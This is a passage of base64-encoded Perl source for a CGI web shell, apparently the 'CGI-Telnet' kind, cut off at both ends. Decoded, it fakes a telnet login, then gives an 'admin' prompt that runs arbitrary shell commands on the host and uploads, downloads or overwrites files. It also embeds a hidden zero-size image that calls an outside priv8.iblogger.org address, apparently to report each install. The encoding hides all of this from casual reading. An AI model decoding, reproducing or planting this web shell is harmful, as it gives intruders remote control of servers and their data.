4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+Q0dJIFNoZWxsPC90aXRsZT4NCiRIdG1sTWV0YUhlYWRlcg0KDQoNCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjRkZGRkZGIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIHRleHQ9IiNGRjAwMDAiPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgYm9yZGVyY29sb3I9IiNGRkZGRkYiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIxJSI+DQo8Yj48Zm9udCBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0KPHRkIGJnY29sb3I9IiNGRkZGRkYiIHdpZHRoPSI5OCUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPjxiPiANCjxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrIj5DR0kgU2hlbGw8L2I+IENvbm5lY3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYmdjb2xvcj0iI0ZGRkZGRiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlVwbG9hZCBGaWxlPC9mb250PjwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+RG93bmxvYWQgRmlsZTwvZm9udD48L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkRpc2Nvbm5lY3Q8L2ZvbnQ+PC9hPiB8DQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgc2l6ZT0iMyI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCgkkTWVzc2FnZSA9IHEkPC9mb250PjxoMT4NCkNHSSBTaGVsIH4gSmlqbGUzDQo8L2gxPjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48cHJlPjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cucHJpdjguaWJsb2dnZXIub3JnL3MucGhwPytjZ2l0ZWxuZXQgc2hlbGwiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvcHJlPg0KJDsNCiMnDQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQo8L2ZvbnQ+DQo8Zm9udCBzaXplPSIzIj4NCmxvZ2luOiA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij48L2I+PGJyPg0KcGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0KIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4gDQp7DQoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCgl7DQoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJCXByaW50IDw8RU5EOw0KPC94bXA+DQoNCjxjb2RlPg0KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLg0KPGJyPktpbGxlZCBpdCENCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJZXhpdDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJDQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsNCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZCI7DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQgIiRQcm9tcHQgJFJ1bkNvbW1hbmQ8eG1wPiI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgkJfQ0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJCXsNCgkJCSR8PTE7DQoJCQkkQ29tbWFuZCAuPSAiIHwiOw0KCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCQl7DQoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkJcHJpbnQgIiRfXG4iOw0KCQkJfQ0KCQkJJHw9MDsNCgkJfQ0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMNCgkJew0KCQkJcHJpbnQgYCRDb21tYW5kYDsNCgkJfQ0KCQlpZighJFdpbk5UKQ0KCQl7DQoJCQlhbGFybSgwKTsNCgkJfQ0KCQlwcmludCAiPC94bXA+IjsNCgl9DQoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KRU5EDQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXR